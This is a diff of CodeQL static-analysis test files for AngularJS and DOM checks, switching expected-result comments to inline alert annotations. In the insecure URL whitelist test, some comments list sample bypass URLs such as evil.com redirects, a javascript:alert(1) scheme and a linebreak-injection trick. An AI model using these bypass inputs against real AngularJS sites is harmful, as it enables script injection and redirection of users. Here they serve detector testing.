+++ b/javascript/ql/test/query-tests/AngularJS/DoubleCompilation/bad.js
@@ -11,7 +11,7 @@ angular.module('app').directive('addMouseover', function($compile) {
 
       attrs.$set('addMouseover', null); // To stop infinite compile loop
       element.append(newEl);
-      $compile(element)(scope); // Double compilation
+      $compile(element)(scope); // $ Alert - Double compilation
     }
   }
 })
diff --git a/javascript/ql/test/query-tests/AngularJS/IncompatibleService/IncompatibleService.qlref b/javascript/ql/test/query-tests/AngularJS/IncompatibleService/IncompatibleService.qlref
index 24c81938cc3e..0a670daee6df 100644
--- a/javascript/ql/test/query-tests/AngularJS/IncompatibleService/IncompatibleService.qlref
+++ b/javascript/ql/test/query-tests/AngularJS/IncompatibleService/IncompatibleService.qlref
@@ -1 +1,2 @@
-AngularJS/IncompatibleService.ql
\ No newline at end of file
+query: AngularJS/IncompatibleService.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/AngularJS/IncompatibleService/angular-incompatible-service.js b/javascript/ql/test/query-tests/AngularJS/IncompatibleService/angular-incompatible-service.js
index 51dbd1f76d48..c3855f207c04 100644
--- a/javascript/ql/test/query-tests/AngularJS/IncompatibleService/angular-incompatible-service.js
+++ b/javascript/ql/test/query-tests/AngularJS/IncompatibleService/angular-incompatible-service.js
@@ -11,68 +11,68 @@ angular.module('myModule', [])
 ;
 
 angular.module('myModule2', [])
-    .controller('c0', function(factoryId){}) // OK
-    .controller('c1', function(serviceId){}) // OK
-    .controller('c2', function(valueId){}) // OK
-    .controller('c3', function(constantId){}) // OK
-    .controller('c4', function(providerId){}) // OK
-    .controller('c5', function($http){}) // OK
-    .controller('c6', function($provider){}) // NOT OK
-    .controller('c7', function($scope){}) // OK
-    .controller('c8', function($compile){}) // OK
-    .controller('c9', function(UNKNOWN){}) // OK
-    .controller('c10', function(providerIdProvider){}) // NOT OK
-    .controller('c11', function(providerIdProvider, UNKNOWN){}) // NOT OK, but only one error
-    .controller('c12', function($provide){}) // OK (special case)
-    .controller('c13', function(providerId2Provider){}) // NOT OK
+    .controller('c0', function(factoryId){})
+    .controller('c1', function(serviceId){})
+    .controller('c2', function(valueId){})
+    .controller('c3', function(constantId){})
+    .controller('c4', function(providerId){})
+    .controller('c5', function($http){})
+    .controller('c6', function($provider){}) // $ Alert
+    .controller('c7', function($scope){})
+    .controller('c8', function($compile){})
+    .controller('c9', function(UNKNOWN){})
+    .controller('c10', function(providerIdProvider){}) // $ Alert
+    .controller('c11', function(providerIdProvider, UNKNOWN){}) // $ Alert - but only one error
+    .controller('c12', function($provide){}) // OK - special case
+    .controller('c13', function(providerId2Provider){}) // $ Alert
 
-    .factory('s0', function(factoryId){}) // OK
-    .factory('s1', function(serviceId){}) // OK
-    .factory('s2', function(valueId){}) // OK
-    .factory('s3', function(constantId){}) // OK
-    .factory('s4', function(providerId){}) // OK
-    .factory('s5', function($http){}) // OK
-    .factory('s6', function($provider){}) // NOT OK
-    .factory('s7', function($scope){}) // NOT OK
-    .factory('s8', function($compile){}) // OK
-    .factory('s9', function(UNKNOWN){}) // OK
-    .factory('s10', function(providerIdProvider){}) // NOT OK
-    .factory('s11', function(providerIdProvider, UNKNOWN){}) // NOT OK, but only one error
-    .factory('s12', function($provide){}) // OK (special case)
-    .factory('s13', function(providerId2Provider){}) // NOT OK
+    .factory('s0', function(factoryId){})
+    .factory('s1', function(serviceId){})
+    .factory('s2', function(valueId){})
+    .factory('s3', function(constantId){})
+    .factory('s4', function(providerId){})
+    .factory('s5', function($http){})
+    .factory('s6', function($provider){}) // $ Alert
+    .factory('s7', function($scope){}) // $ Alert
+    .factory('s8', function($compile){})
+    .factory('s9', function(UNKNOWN){})
+    .factory('s10', function(providerIdProvider){}) // $ Alert
+    .factory('s11', function(providerIdProvider, UNKNOWN){}) // $ Alert - but only one error
+    .factory('s12', function($provide){}) // OK - special case
+    .factory('s13', function(providerId2Provider){}) // $ Alert
 
-    .run(function(factoryId){}) // OK
-    .run(function(serviceId){}) // OK
-    .run(function(valueId){}) // OK
-    .run(function(constantId){}) // OK
-    .run(function(providerId){}) // OK
-    .run(function($http){}) // OK
-    .run(function($provider){}) // NOT OK
-    .run(function($scope){}) // NOT OK
-    .run(function($compile){}) // OK
-    .run(function(UNKNOWN){}) // OK
-    .run(function(providerIdProvider){}) // NOT OK
-    .run(function(providerIdProvider, UNKNOWN){}) // NOT OK, but only one error
-    .run(function($provide){}) // OK (special case)
-    .run(function(providerId2Provider){}) // NOT OK
+    .run(function(factoryId){})
+    .run(function(serviceId){})
+    .run(function(valueId){})
+    .run(function(constantId){})
+    .run(function(providerId){})
+    .run(function($http){})
+    .run(function($provider){}) // $ Alert
+    .run(function($scope){}) // $ Alert
+    .run(function($compile){})
+    .run(function(UNKNOWN){})
+    .run(function(providerIdProvider){}) // $ Alert
+    .run(function(providerIdProvider, UNKNOWN){}) // $ Alert - but only one error
+    .run(function($provide){}) // OK - special case
+    .run(function(providerId2Provider){}) // $ Alert
 
-    .config(function(factoryId){}) // NOT OK
-    .config(function(serviceId){}) // NOT OK
-    .config(function(valueId){}) // NOT OK
-    .config(function(constantId){}) // OK
-    .config(function(providerId){}) // NOT OK
-    .config(function($http){}) // NOT OK
-    .config(function($provider){}) // OK
-    .config(function($scope){}) // NOT OK
-    .config(function($compile){}) // OK
-    .config(function(UNKNOWN){}) // OK
-    .config(function(providerIdProvider){}) // OK
-    .config(function(providerId, UNKNOWN){}) // NOT OK, but only one error
-    .config(function($provide){}) // OK (special case)
-    .config(function(valueId2){}) // NOT OK
+    .config(function(factoryId){}) // $ Alert
+    .config(function(serviceId){}) // $ Alert
+    .config(function(valueId){}) // $ Alert
+    .config(function(constantId){})
+    .config(function(providerId){}) // $ Alert
+    .config(function($http){}) // $ Alert
+    .config(function($provider){})
+    .config(function($scope){}) // $ Alert
+    .config(function($compile){})
+    .config(function(UNKNOWN){})
+    .config(function(providerIdProvider){})
+    .config(function(providerId, UNKNOWN){}) // $ Alert - but only one error
+    .config(function($provide){}) // OK - special case
+    .config(function(valueId2){}) // $ Alert
 
     // service: same restrcitions as .factory
-    .service('s14', function(factoryId){}) // OK
-    .service('s15', function($provider){}) // NOT OK
+    .service('s14', function(factoryId){})
+    .service('s15', function($provider){}) // $ Alert
 
 ;
diff --git a/javascript/ql/test/query-tests/AngularJS/InsecureUrlWhitelist/InsecureUrlWhitelist.qlref b/javascript/ql/test/query-tests/AngularJS/InsecureUrlWhitelist/InsecureUrlWhitelist.qlref
index 26714392ac84..7c18e955f64c 100644
--- a/javascript/ql/test/query-tests/AngularJS/InsecureUrlWhitelist/InsecureUrlWhitelist.qlref
+++ b/javascript/ql/test/query-tests/AngularJS/InsecureUrlWhitelist/InsecureUrlWhitelist.qlref
@@ -1 +1,2 @@
-AngularJS/InsecureUrlWhitelist.ql
\ No newline at end of file
+query: AngularJS/InsecureUrlWhitelist.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/AngularJS/InsecureUrlWhitelist/tst.js b/javascript/ql/test/query-tests/AngularJS/InsecureUrlWhitelist/tst.js
index 713e36e52233..1ee742c6d6a2 100644
--- a/javascript/ql/test/query-tests/AngularJS/InsecureUrlWhitelist/tst.js
+++ b/javascript/ql/test/query-tests/AngularJS/InsecureUrlWhitelist/tst.js
@@ -1,24 +1,24 @@
 angular.module('myApp', [])
     .config(function($sceDelegateProvider) {
         $sceDelegateProvider.resourceUrlWhitelist([
-            "**://example.com/*", // BAD (exploit: http://evil.com/?ignore=://example.org/a or javascript:alert(1);://example.org/a)
-            "*://example.org/*", // BAD (exploit: javascript://example.org/a%0A%0Dalert(1) using a linebreak to end the comment starting with "//"!)
-            "https://**.example.com/*", // BAD (exploit: https://evil.com/?ignore=://example.com/a)
-            "https://example.**", // BAD (exploit: https://example.evil.com or http://example.:foo@evil.com)
-            "https://example.*", // BAD (exploit: https://example.UnexpectedTLD)
+            "**://example.com/*", // $ RelatedLocation - (exploit: http://evil.com/?ignore=://example.org/a or javascript:alert(1);://example.org/a)
+            "*://example.org/*", // $ RelatedLocation - (exploit: javascript://example.org/a%0A%0Dalert(1) using a linebreak to end the comment starting with "//"!)
+            "https://**.example.com/*", // $ RelatedLocation - exploit: https://evil.com/?ignore=://example.com/a
+            "https://example.**", // $ RelatedLocation - exploit: https://example.evil.com or http://example.:foo@evil.com
+            "https://example.*", // $ RelatedLocation - exploit: https://example.UnexpectedTLD
 
-            "https://example.com", // OK
-            "https://example.com/**", // OK
-            "https://example.com/*", // OK
-            "https://example.com/foo/*", // OK
-            "https://example.com/foo/**", // OK
-            "https://example.com/foo/*/bar", // OK
-            "https://example.com/foo/**/bar", // OK
-            "https://example.com/?**", // OK
-            "https://example.com/?**://example.com", // OK
+            "https://example.com",
+            "https://example.com/**",
+            "https://example.com/*",
+            "https://example.com/foo/*",
+            "https://example.com/foo/**",
+            "https://example.com/foo/*/bar",
+            "https://example.com/foo/**/bar",
+            "https://example.com/?**",
+            "https://example.com/?**://example.com",
             "https://*.example.com",
 
             // not flagged:
-            /http:\/\/www.example.org/g // BAD (exploit http://wwwaexample.org (dots are not escaped))
-        ]);
+            /http:\/\/www.example.org/g // $ MISSING: RelatedLocation - (exploit http://wwwaexample.org (dots are not escaped))
+        ]); // $ Alert
     });
diff --git a/javascript/ql/test/query-tests/AngularJS/MissingExplicitInjection/MissingExplicitInjection.qlref b/javascript/ql/test/query-tests/AngularJS/MissingExplicitInjection/MissingExplicitInjection.qlref
index 67c8ca36e697..5de5a3bd1b11 100644
--- a/javascript/ql/test/query-tests/AngularJS/MissingExplicitInjection/MissingExplicitInjection.qlref
+++ b/javascript/ql/test/query-tests/AngularJS/MissingExplicitInjection/MissingExplicitInjection.qlref
@@ -1 +1,2 @@
-AngularJS/MissingExplicitInjection.ql
\ No newline at end of file
+query: AngularJS/MissingExplicitInjection.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/AngularJS/MissingExplicitInjection/missing-explicit-injection.js b/javascript/ql/test/query-tests/AngularJS/MissingExplicitInjection/missing-explicit-injection.js
index 65d3e74ceef0..629b62d5b08e 100644
--- a/javascript/ql/test/query-tests/AngularJS/MissingExplicitInjection/missing-explicit-injection.js
+++ b/javascript/ql/test/query-tests/AngularJS/MissingExplicitInjection/missing-explicit-injection.js
@@ -1,27 +1,27 @@
 (function(){
-    function injected1(name){} // NOT OK
+    function injected1(name){} // $ Alert
     angular.module('app1').controller('controller1', injected1);
 
-    function injected2(name){} // OK
+    function injected2(name){}
     injected2.$inject = ['name'];
     angular.module('app2').controller('controller2', injected2);
 
-    function injected3(name){} // OK
+    function injected3(name){}
     angular.module('app3').controller('controller3', ['name', injected3]);
 
-    angular.module('app4').controller('controller4', function(){}); // OK
+    angular.module('app4').controller('controller4', function(){});
 
-    angular.module('app5').controller('controller5', function(name){}); // NOT OK
+    angular.module('app5').controller('controller5', function(name){}); // $ Alert
 
-    function injected6(){} // OK
+    function injected6(){}
     angular.module('app6').controller('controller6', injected6);
 
-    function notInjected7(name){} // OK
+    function notInjected7(name){}
     var obj7 = {
         controller: notInjected7
     };
 
-    function injected8(name){} // OK (false negative: we do not track through properties)
+    function injected8(name){} // OK - false negative: we do not track through properties
     var obj8 = {
         controller: injected8
     };
@@ -29,14 +29,14 @@
 
     var $injector = angular.injector();
 
-    function injected9(name){} // NOT OK
+    function injected9(name){} // $ Alert
     $injector.invoke(injected9)
 
-    function injected10(name){} // OK
+    function injected10(name){}
     injected10.$inject = ['name'];
     $injector.invoke(injected10)
 
-    function injected11(name){} // OK
+    function injected11(name){}
     $injector.invoke(['name', injected11])
 
 })();
diff --git a/javascript/ql/test/query-tests/AngularJS/RepeatedInjection/RepeatedInjection.expected b/javascript/ql/test/query-tests/AngularJS/RepeatedInjection/RepeatedInjection.expected
index 227dcedf486c..ceb747011ba8 100644
--- a/javascript/ql/test/query-tests/AngularJS/RepeatedInjection/RepeatedInjection.expected
+++ b/javascript/ql/test/query-tests/AngularJS/RepeatedInjection/RepeatedInjection.expected
@@ -2,5 +2,5 @@
 | repeated-injection.js:6:5:6:31 | functio ... name){} | This function has $@ defined in multiple places. | repeated-injection.js:8:54:8:73 | ['name', $Injected2] | dependency injections |
 | repeated-injection.js:10:5:10:31 | functio ... name){} | This function has $@ defined in multiple places. | repeated-injection.js:11:5:11:22 | $Injected3.$inject | dependency injections |
 | repeated-injection.js:10:5:10:31 | functio ... name){} | This function has $@ defined in multiple places. | repeated-injection.js:12:5:12:22 | $Injected3.$inject | dependency injections |
-| repeated-injection.js:33:5:33:84 | functio ... )\\n    } | This function has $@ defined in multiple places. | repeated-injection.js:35:5:35:23 | $Injected10.$inject | dependency injections |
-| repeated-injection.js:33:5:33:84 | functio ... )\\n    } | This function has $@ defined in multiple places. | repeated-injection.js:36:56:36:76 | ['name' ... cted10] | dependency injections |
+| repeated-injection.js:33:5:33:85 | functio ... n\\n    } | This function has $@ defined in multiple places. | repeated-injection.js:35:5:35:23 | $Injected10.$inject | dependency injections |
+| repeated-injection.js:33:5:33:85 | functio ... n\\n    } | This function has $@ defined in multiple places. | repeated-injection.js:36:56:36:76 | ['name' ... cted10] | dependency injections |
diff --git a/javascript/ql/test/query-tests/AngularJS/RepeatedInjection/RepeatedInjection.qlref b/javascript/ql/test/query-tests/AngularJS/RepeatedInjection/RepeatedInjection.qlref
index 0cb3bca6dd4c..fdd21bbbde39 100644
--- a/javascript/ql/test/query-tests/AngularJS/RepeatedInjection/RepeatedInjection.qlref
+++ b/javascript/ql/test/query-tests/AngularJS/RepeatedInjection/RepeatedInjection.qlref
@@ -1 +1,2 @@
-AngularJS/RepeatedInjection.ql
\ No newline at end of file
+query: AngularJS/RepeatedInjection.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/AngularJS/RepeatedInjection/repeated-injection.js b/javascript/ql/test/query-tests/AngularJS/RepeatedInjection/repeated-injection.js
index 942a9ab1239e..9987e60d0ea5 100644
--- a/javascript/ql/test/query-tests/AngularJS/RepeatedInjection/repeated-injection.js
+++ b/javascript/ql/test/query-tests/AngularJS/RepeatedInjection/repeated-injection.js
@@ -1,36 +1,36 @@
 (function(){
-    function $Injected1(name){} // OK
+    function $Injected1(name){}
     $Injected1.$inject = ['name'];
     angular.module('app1').controller('controller1', $Injected1);
 
-    function $Injected2(name){} // NOT OK
+    function $Injected2(name){} // $ Alert
     $Injected2.$inject = ['name'];
     angular.module('app2').controller('controller2', ['name', $Injected2]);
 
-    function $Injected3(name){} // NOT OK
+    function $Injected3(name){} // $ Alert
     $Injected3.$inject = ['name'];
     $Injected3.$inject = ['name'];
     angular.module('app3').controller('controller3', $Injected3);
 
-    function not$Injected4(name){} // OK
+    function not$Injected4(name){}
     angular.module('app4').controller('controller4', not$Injected4);
-    function not$Injected5(name){} // OK
+    function not$Injected5(name){}
     angular.module('app5').controller('controller5', ['name', not$Injected5]);
 
-    function $Injected6(name){} // OK (because it never becomes registered)
+    function $Injected6(name){} // OK - because it never becomes registered
     $Injected6.$inject = ['name'];
     $Injected6.$inject = ['name'];
 
-    function not$Injected7(name){} // OK
+    function not$Injected7(name){}
     angular.module('app7').controller('controller7', ['name', not$Injected7]);
     angular.module('app7').controller('controller7', ['name', not$Injected7]);
     angular.module('app7').controller('controller7', not$Injected7);
 
-    angular.module('app8').controller('controller8', function inline8(name){}); // OK
+    angular.module('app8').controller('controller8', function inline8(name){});
 
-    angular.module('app9').controller('controller9', ['name', function inline9(name){}]); // OK
+    angular.module('app9').controller('controller9', ['name', function inline9(name){}]);
 
-    function $Injected10(name){ // NOT OK (alert formatting for multi-line function)
+    function $Injected10(name){ // $ Alert - alert formatting for multi-line function
     }
     $Injected10.$inject = ['name'];
     angular.module('app10').controller('controller10', ['name', $Injected10]);
diff --git a/javascript/ql/test/query-tests/AngularJS/UnusedAngularDependency/UnusedAngularDependency.expected b/javascript/ql/test/query-tests/AngularJS/UnusedAngularDependency/UnusedAngularDependency.expected
index d5b4c267c39e..2ca924302a23 100644
--- a/javascript/ql/test/query-tests/AngularJS/UnusedAngularDependency/UnusedAngularDependency.expected
+++ b/javascript/ql/test/query-tests/AngularJS/UnusedAngularDependency/UnusedAngularDependency.expected
@@ -2,4 +2,4 @@
 | unused-angular-dependency.js:14:14:14:39 | ["unuse ... n() {}] | This function has 0 parameters, but 1 dependency is injected into it. |
 | unused-angular-dependency.js:16:14:16:53 | ["used2 ... d2) {}] | This function has 1 parameter, but 2 dependencies are injected into it. |
 | unused-angular-dependency.js:17:14:17:52 | ["unuse ... n() {}] | This function has 0 parameters, but 2 dependencies are injected into it. |
-| unused-angular-dependency.js:18:14:18:105 | ["used2 ...      }] | This function has 1 parameter, but 2 dependencies are injected into it. |
+| unused-angular-dependency.js:18:14:18:106 | ["used2 ...      }] | This function has 1 parameter, but 2 dependencies are injected into it. |
diff --git a/javascript/ql/test/query-tests/AngularJS/UnusedAngularDependency/UnusedAngularDependency.qlref b/javascript/ql/test/query-tests/AngularJS/UnusedAngularDependency/UnusedAngularDependency.qlref
index e47f1e1bb452..4ae72160a8d8 100644
--- a/javascript/ql/test/query-tests/AngularJS/UnusedAngularDependency/UnusedAngularDependency.qlref
+++ b/javascript/ql/test/query-tests/AngularJS/UnusedAngularDependency/UnusedAngularDependency.qlref
@@ -1 +1,2 @@
-AngularJS/UnusedAngularDependency.ql
\ No newline at end of file
+query: AngularJS/UnusedAngularDependency.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/AngularJS/UnusedAngularDependency/unused-angular-dependency.js b/javascript/ql/test/query-tests/AngularJS/UnusedAngularDependency/unused-angular-dependency.js
index f35cc62947ed..14e94d23d6d8 100644
--- a/javascript/ql/test/query-tests/AngularJS/UnusedAngularDependency/unused-angular-dependency.js
+++ b/javascript/ql/test/query-tests/AngularJS/UnusedAngularDependency/unused-angular-dependency.js
@@ -1,28 +1,28 @@
 (function(){
-    function f1(used2, unused5) {used2;} // OK (suppressed by js/unused-parameter)
+    function f1(used2, unused5) {used2;} // OK - suppressed by js/unused-parameter
 
     // this function avoid suppression from js/unused-parameter by explicitly targeting one its weaknesses
-    function f2(unused7, used3) {used3;} // NOT OK
+    function f2(unused7, used3) {used3;} // $ Alert
     this.f2 = f2;
 
     angular.module('app1', [])
         .run(function() {})
-        .run(function(unused1) {}) // OK (suppressed by js/unused-parameter)
-        .run(function(unused2, unused3) {}) // OK (suppressed by js/unused-parameter)
-        .run(function(used1, unused4) {used1;}) // OK (suppressed by js/unused-parameter)
+        .run(function(unused1) {}) // OK - suppressed by js/unused-parameter
+        .run(function(unused2, unused3) {}) // OK - suppressed by js/unused-parameter
+        .run(function(used1, unused4) {used1;}) // OK - suppressed by js/unused-parameter
         .run(f1)
-        .run(["unused6", function() {}]) // NOT OK
+        .run(["unused6", function() {}]) // $ Alert
         .run(f2)
-        .run(["used2", "unused9", function(used2) {}]) // NOT OK
-        .run(["unused10", "unused11", function() {}]) // NOT OK
-        .run(["used2", "unused12", function(used2) { // NOT OK (alert formatting for multi-line function)
+        .run(["used2", "unused9", function(used2) {}]) // $ Alert
+        .run(["unused10", "unused11", function() {}]) // $ Alert
+        .run(["used2", "unused12", function(used2) { // $ Alert - alert formatting for multi-line function
         }])
     ;
 })();
 angular.module('app2')
     .directive('mydirective', function() {
         return {
-            link: function (scope, element, attrs) { // OK
+            link: function (scope, element, attrs) {
             }
         };
     });
diff --git a/javascript/ql/test/query-tests/AngularJS/UseNgSrc/UseNgSrc.expected b/javascript/ql/test/query-tests/AngularJS/UseNgSrc/UseNgSrc.expected
index 5b5f5ffa00c0..bd93c005dec1 100644
--- a/javascript/ql/test/query-tests/AngularJS/UseNgSrc/UseNgSrc.expected
+++ b/javascript/ql/test/query-tests/AngularJS/UseNgSrc/UseNgSrc.expected
@@ -1,5 +1,5 @@
-| tst2.html:3:6:3:24 | href={{help_url}} | Use 'ng-href' instead of 'href'. |
-| tst.html:8:6:8:24 | href={{help_url}} | Use 'ng-href' instead of 'href'. |
-| tst.html:10:40:10:83 | srcset=#/resources/pics-large/{{item._id}} | Use 'ng-srcset' instead of 'srcset'. |
-| tst.html:11:10:11:52 | src=#/resources/pics-default/{{item._id}} | Use 'ng-src' instead of 'src'. |
-| tst_fragment.html:3:6:3:24 | href={{help_url}} | Use 'ng-href' instead of 'href'. |
+| tst2.html:2:6:2:24 | href={{help_url}} | Use 'ng-href' instead of 'href'. |
+| tst.html:7:6:7:24 | href={{help_url}} | Use 'ng-href' instead of 'href'. |
+| tst.html:9:40:9:83 | srcset=#/resources/pics-large/{{item._id}} | Use 'ng-srcset' instead of 'srcset'. |
+| tst.html:10:10:10:52 | src=#/resources/pics-default/{{item._id}} | Use 'ng-src' instead of 'src'. |
+| tst_fragment.html:2:6:2:24 | href={{help_url}} | Use 'ng-href' instead of 'href'. |
diff --git a/javascript/ql/test/query-tests/AngularJS/UseNgSrc/UseNgSrc.qlref b/javascript/ql/test/query-tests/AngularJS/UseNgSrc/UseNgSrc.qlref
index f746d68ee039..0d148711d808 100644
--- a/javascript/ql/test/query-tests/AngularJS/UseNgSrc/UseNgSrc.qlref
+++ b/javascript/ql/test/query-tests/AngularJS/UseNgSrc/UseNgSrc.qlref
@@ -1 +1,2 @@
-AngularJS/UseNgSrc.ql
+query: AngularJS/UseNgSrc.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/AngularJS/UseNgSrc/tst.html b/javascript/ql/test/query-tests/AngularJS/UseNgSrc/tst.html
index 6e81b0da32a4..943b7d1ccd7d 100644
--- a/javascript/ql/test/query-tests/AngularJS/UseNgSrc/tst.html
+++ b/javascript/ql/test/query-tests/AngularJS/UseNgSrc/tst.html
@@ -4,13 +4,12 @@
     <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.4/angular.min.js"></script>
   </head>
   <body>
-  <!-- BAD -->
-  <a href="{{help_url}}">Help</a>
+  <a href="{{help_url}}">Help</a> <!--  $ Alert  -->
   <picture>
-    <source media="(min-width: 650px)" srcset="#/resources/pics-large/{{item._id}}">
-    <img src="#/resources/pics-default/{{item._id}}">
+    <source media="(min-width: 650px)" srcset="#/resources/pics-large/{{item._id}}"> <!-- $ Alert -->
+    <img src="#/resources/pics-default/{{item._id}}"> <!-- $ Alert -->
   </picture> 
-  <!-- GOOD -->
+
   <a ng-href="{{help_url}}">Help</a>
   <picture>
     <source media="(min-width: 650px)" ng-srcset="#/resources/pics-large/{{item._id}}">
diff --git a/javascript/ql/test/query-tests/AngularJS/UseNgSrc/tst2.html b/javascript/ql/test/query-tests/AngularJS/UseNgSrc/tst2.html
index 485af478d186..6a4f04ba2e1e 100644
--- a/javascript/ql/test/query-tests/AngularJS/UseNgSrc/tst2.html
+++ b/javascript/ql/test/query-tests/AngularJS/UseNgSrc/tst2.html
@@ -1,4 +1,3 @@
 <div x-ng-bind="I am here to make this seem like an AngularJS template">
-  <!-- BAD -->
-  <a href="{{help_url}}">Help</a>
+  <a href="{{help_url}}">Help</a> <!--  $ Alert  -->
 </div>
diff --git a/javascript/ql/test/query-tests/AngularJS/UseNgSrc/tst_fragment.html b/javascript/ql/test/query-tests/AngularJS/UseNgSrc/tst_fragment.html
index e461a5d795bc..0111acde5e8a 100644
--- a/javascript/ql/test/query-tests/AngularJS/UseNgSrc/tst_fragment.html
+++ b/javascript/ql/test/query-tests/AngularJS/UseNgSrc/tst_fragment.html
@@ -1,4 +1,3 @@
 <body ng-app>
-  <!-- BAD -->
-  <a href="{{help_url}}">Help</a>
+  <a href="{{help_url}}">Help</a> <!--  $ Alert  -->
 </body>
diff --git a/javascript/ql/test/query-tests/Comments/CommentedOutCode/CommentedOutCode.qlref b/javascript/ql/test/query-tests/Comments/CommentedOutCode/CommentedOutCode.qlref
index b9796d5fe875..514a8413531d 100644
--- a/javascript/ql/test/query-tests/Comments/CommentedOutCode/CommentedOutCode.qlref
+++ b/javascript/ql/test/query-tests/Comments/CommentedOutCode/CommentedOutCode.qlref
@@ -1 +1 @@
-Comments/CommentedOutCode.ql
+query: Comments/CommentedOutCode.ql
diff --git a/javascript/ql/test/query-tests/Comments/TodoComments/TodoComments.qlref b/javascript/ql/test/query-tests/Comments/TodoComments/TodoComments.qlref
index 1a8a4a57b6d4..3fad05c4f256 100644
--- a/javascript/ql/test/query-tests/Comments/TodoComments/TodoComments.qlref
+++ b/javascript/ql/test/query-tests/Comments/TodoComments/TodoComments.qlref
@@ -1 +1 @@
-Comments/TodoComments.ql
+query: Comments/TodoComments.ql
diff --git a/javascript/ql/test/query-tests/Comments/TodoComments/tst.js b/javascript/ql/test/query-tests/Comments/TodoComments/tst.js
index 877069be03d8..b6497788dd2b 100644
--- a/javascript/ql/test/query-tests/Comments/TodoComments/tst.js
+++ b/javascript/ql/test/query-tests/Comments/TodoComments/tst.js
@@ -1,2 +1,2 @@
-// OK
+
 // if you want a specific version so specifiy it in object below : version=XXX
diff --git a/javascript/ql/test/query-tests/DOM/Alert/Alert.qlref b/javascript/ql/test/query-tests/DOM/Alert/Alert.qlref
index a7f743a3788e..cd82a95525cc 100644
--- a/javascript/ql/test/query-tests/DOM/Alert/Alert.qlref
+++ b/javascript/ql/test/query-tests/DOM/Alert/Alert.qlref
@@ -1 +1,2 @@
-DOM/Alert.ql
+query: DOM/Alert.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/DOM/Alert/alert.js b/javascript/ql/test/query-tests/DOM/Alert/alert.js
index 04b0c2e44f2b..dee66a1c186a 100644
--- a/javascript/ql/test/query-tests/DOM/Alert/alert.js
+++ b/javascript/ql/test/query-tests/DOM/Alert/alert.js
@@ -1,4 +1,4 @@
-alert("hi!"); // NOT OK
-x.alert("hi!"); // OK
-new alert(); // OK
-function alert() { } // OK
+alert("hi!"); // $ Alert
+x.alert("hi!");
+new alert();
+function alert() { }
diff --git a/javascript/ql/test/query-tests/DOM/HTML/AmbiguousIdAttribute.expected b/javascript/ql/test/query-tests/DOM/HTML/AmbiguousIdAttribute.expected
index c013ea098297..bee7199e45f8 100644
--- a/javascript/ql/test/query-tests/DOM/HTML/AmbiguousIdAttribute.expected
+++ b/javascript/ql/test/query-tests/DOM/HTML/AmbiguousIdAttribute.expected
@@ -1,3 +1,3 @@
 | AmbiguousIdAttribute.html:4:5:4:14 | id=first | This element has the same id as $@. | AmbiguousIdAttribute.html:5:5:5:14 | id=first | another element |
 | AmbiguousIdAttribute_fragment.html:2:7:2:16 | id=first | This element has the same id as $@. | AmbiguousIdAttribute_fragment.html:3:7:3:16 | id=first | another element |
-| tst.js:22:22:22:33 | id="theDiff" | This element has the same id as $@. | tst.js:22:46:22:57 | id="theDiff" | another element |
+| tst.js:16:22:16:33 | id="theDiff" | This element has the same id as $@. | tst.js:16:46:16:57 | id="theDiff" | another element |
diff --git a/javascript/ql/test/query-tests/DOM/HTML/AmbiguousIdAttribute.html b/javascript/ql/test/query-tests/DOM/HTML/AmbiguousIdAttribute.html
index 98a490ec408a..3cd7b57ed393 100644
--- a/javascript/ql/test/query-tests/DOM/HTML/AmbiguousIdAttribute.html
+++ b/javascript/ql/test/query-tests/DOM/HTML/AmbiguousIdAttribute.html
@@ -1,7 +1,7 @@
 <html>
 <body>
 <ul>
-<li id="first">First element
+<li id="first">First element <!-- $ Alert[js/duplicate-html-id] -->
 <li id="first">Second element
 </ul>
 </body>
diff --git a/javascript/ql/test/query-tests/DOM/HTML/AmbiguousIdAttribute.qlref b/javascript/ql/test/query-tests/DOM/HTML/AmbiguousIdAttribute.qlref
index 7dfdfdde152a..a0e49e6dd91c 100644
--- a/javascript/ql/test/query-tests/DOM/HTML/AmbiguousIdAttribute.qlref
+++ b/javascript/ql/test/query-tests/DOM/HTML/AmbiguousIdAttribute.qlref
@@ -1 +1,2 @@
-DOM/AmbiguousIdAttribute.ql
+query: DOM/AmbiguousIdAttribute.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/DOM/HTML/AmbiguousIdAttributeGood.html b/javascript/ql/test/query-tests/DOM/HTML/AmbiguousIdAttributeGood.html
index bb5969c1f79e..9b0f0a8eb7ee 100644
--- a/javascript/ql/test/query-tests/DOM/HTML/AmbiguousIdAttributeGood.html
+++ b/javascript/ql/test/query-tests/DOM/HTML/AmbiguousIdAttributeGood.html
@@ -5,8 +5,8 @@
 <li id="second">Second element</li>
 <li id="{{templated-id}}">Templated id</li> <!-- ignored -->
 <li id="{{templated-id}}">Templated id</li> <!-- ignored -->
-<li id="invalid id">Invalid id</li> <!-- reported by another query -->
-<li id="invalid id">Invalid id</li> <!-- reported by another query -->
+<li id="invalid id">Invalid id</li> <!-- $ Alert[js/malformed-html-id] -->
+<li id="invalid id">Invalid id</li> <!-- $ Alert[js/malformed-html-id] -->
 <li class="duplicate-class">duplicate-class</li>
 <li class="duplicate-class">duplicate-class</li>
 </ul>
diff --git a/javascript/ql/test/query-tests/DOM/HTML/AmbiguousIdAttribute_fragment.html b/javascript/ql/test/query-tests/DOM/HTML/AmbiguousIdAttribute_fragment.html
index 2d5e014268c0..d96d9a670756 100644
--- a/javascript/ql/test/query-tests/DOM/HTML/AmbiguousIdAttribute_fragment.html
+++ b/javascript/ql/test/query-tests/DOM/HTML/AmbiguousIdAttribute_fragment.html
@@ -1,4 +1,4 @@
 <ul>
-  <li id="first">First element
+  <li id="first">First element <!-- $ Alert[js/duplicate-html-id] -->
   <li id="first">Second element
 </ul>
